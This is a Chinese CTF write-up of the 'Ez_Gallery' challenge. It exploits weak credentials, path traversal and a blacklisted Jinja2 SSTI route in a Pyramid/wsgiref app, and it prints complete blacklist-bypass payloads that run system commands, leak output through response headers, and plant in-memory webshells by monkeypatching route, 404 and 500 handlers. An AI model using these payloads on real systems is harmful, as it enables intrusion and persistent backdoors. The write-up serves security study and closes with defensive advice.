从国城杯Ez_Gallery实现寻找WSGIRef内存马和Response响应头外带以及栈帧回显的尝试
字数 942 2025-08-22 12:22:15

WSGIRef内存马与Response响应头外带技术研究

1. 漏洞背景分析

本文基于国城杯Ez_Gallery题目,分析如何通过SSTI漏洞实现WSGIRef内存马植入和Response响应头外带数据的技术。

1.1 初始访问

  • 使用弱密码admin:123456可直接登录后台
  • 存在任意文件读取漏洞,通过file参数实现,存在目录穿越问题
  • 后端使用os.path.join直接拼接路径,导致路径遍历

1.2 关键代码分析

def info_view(request):
    username = request.session.get('username')
    if username != 'admin':
        return Response("请先登录", status=403)
    file_name = request.params.get('file')
    if file_name:
        file_path = os.path.join('/app/static/details/', file_name)
        try:
            with open(file_path, 'r', encoding='utf-8') as f:
                return {'file_name': file_name, 'content': f.read(), 'file_base': os.path.splitext(file_name)[0]}

2. SSTI漏洞利用

发现存在/shell路由,可实现Jinja2模板渲染:

def shell_view(request):
    expression = request.GET.get('shellcmd', '')
    blacklist_patterns = [
        r'.*length.*', r'.*count.*', r'.*[0-9].*', 
        r'.*\..*', r'.*soft.*', r'.*%.*'
    ]
    if any(re.search(pattern, expression) for pattern in blacklist_patterns):
        return Response('wafwafwaf')
    try:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
        return Response('success' if result else 'error')
    except Exception as e:
        return Response('error')

2.1 黑名单绕过技术

黑名单过滤了以下内容:

  • length
  • count
  • 数字
  • 点号(.)
  • soft
  • 百分号(%)

绕过方法:

  • 使用[]|attr()过滤器代替点号访问属性
  • 字符串拼接绕过关键词过滤

3. Response响应头外带技术

3.1 通过server_software外带

{{ lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('simple_server')|attr('ServerHandler'), 'server_so''ftware', lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('/readflag')['read']())}}

3.2 通过http_version外带

{{ lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('handlers')|attr('BaseHandler'), 'http_version', lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('/readflag')['read']())}}

4. WSGIRef内存马技术

4.1 路由覆盖内存马

{{(lipsum['__globals__']['__builtins__']['exec'])("config=Configurator()%0agetattr(config,'add_route')('jerry','/jerry')%0agetattr(config,'add_view')(lambda context, request:shell,route_name='jerry',renderer='string',permission='view')%0agetattr(config,'scan')()%0aapp = getattr(config,'make_wsgi_app')()%0aprint(WSGIServer)%0asetattr(WSGIServer,'application',app)",{"simple_server":(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']['simple_server']['WSGIServer'],"shell":lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read'](),'WSGIServer':(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['__main__']['server'],'Configurator':(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['__main__']['Configurator']})}}

4.2 404 Not Found内存马

修改HTTPNotFound类的titleexplanation属性:

{{(lipsum['__globals__']['__builtins__']['exec'])("setattr(Not,'title',shell)",{"Not":(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['pyramid']['httpexceptions']['HTTPNotFound'],"shell":lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()})}}

4.3 500 Internal Server Error内存马

修改BaseHandlererror_body属性:

{{ lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('handlers')|attr('BaseHandler'), 'error_body', lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()['encode']())}}

5. 动态命令执行技术

通过截取request对象字符串实现动态命令执行:

{{(lipsum['__globals__']['__builtins__']['exec'])("num=True%2BTrue%2BTrue%2BTrue%2BTrue%2BTrue%0acmd=str(request)[-int(num):]%0af=popen(cmd)%0aresult=getattr(f,'read')()%0aprint(result)%0asetattr(Not,'explanation',result)",{"Not":(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['pyramid']['httpexceptions']['HTTPNotFound'],"popen":lipsum['__globals__']['__builtins__']['__import__']('os')['popen'],"request":request})}}

6. 栈帧回显技术

通过inspect模块获取当前栈帧实现回显:

{{(lipsum['__globals__']['__builtins__']['exec'])("inspect=__import__('inspect')%0aframe=getattr(inspect,'currentframe')()%0alocal_vars = getattr(frame,'f_locals')%0aresult=shell%0aprint(local_vars[result])",{"shell":lipsum['__globals__']['os']['popen']('whoami')|attr('read')()})}}

7. 防御建议

  1. 避免使用弱密码和默认凭证
  2. 对用户输入进行严格过滤和验证
  3. 使用安全的路径拼接方法
  4. 禁用危险的Python内置函数
  5. 限制模板引擎的功能
  6. 实施最小权限原则
  7. 定期进行安全审计和代码审查

8. 总结

本文详细分析了通过SSTI漏洞实现WSGIRef内存马植入和Response响应头外带数据的多种技术,包括:

  1. 响应头外带(server_software和http_version)
  2. 路由覆盖内存马
  3. 404/500错误页面内存马
  4. 动态命令执行技术
  5. 栈帧回显技术

这些技术展示了Python Web应用中潜在的安全风险,强调了安全开发实践的重要性。

WSGIRef内存马与Response响应头外带技术研究 1. 漏洞背景分析 本文基于国城杯Ez_ Gallery题目,分析如何通过SSTI漏洞实现WSGIRef内存马植入和Response响应头外带数据的技术。 1.1 初始访问 使用弱密码 admin:123456 可直接登录后台 存在任意文件读取漏洞,通过 file 参数实现,存在目录穿越问题 后端使用 os.path.join 直接拼接路径,导致路径遍历 1.2 关键代码分析 2. SSTI漏洞利用 发现存在 /shell 路由,可实现Jinja2模板渲染: 2.1 黑名单绕过技术 黑名单过滤了以下内容: length count 数字 点号(.) soft 百分号(%) 绕过方法: 使用 [] 和 |attr() 过滤器代替点号访问属性 字符串拼接绕过关键词过滤 3. Response响应头外带技术 3.1 通过server_ software外带 3.2 通过http_ version外带 4. WSGIRef内存马技术 4.1 路由覆盖内存马 4.2 404 Not Found内存马 修改 HTTPNotFound 类的 title 或 explanation 属性: 4.3 500 Internal Server Error内存马 修改 BaseHandler 的 error_body 属性: 5. 动态命令执行技术 通过截取 request 对象字符串实现动态命令执行: 6. 栈帧回显技术 通过 inspect 模块获取当前栈帧实现回显: 7. 防御建议 避免使用弱密码和默认凭证 对用户输入进行严格过滤和验证 使用安全的路径拼接方法 禁用危险的Python内置函数 限制模板引擎的功能 实施最小权限原则 定期进行安全审计和代码审查 8. 总结 本文详细分析了通过SSTI漏洞实现WSGIRef内存马植入和Response响应头外带数据的多种技术,包括: 响应头外带(server_ software和http_ version) 路由覆盖内存马 404/500错误页面内存马 动态命令执行技术 栈帧回显技术 这些技术展示了Python Web应用中潜在的安全风险,强调了安全开发实践的重要性。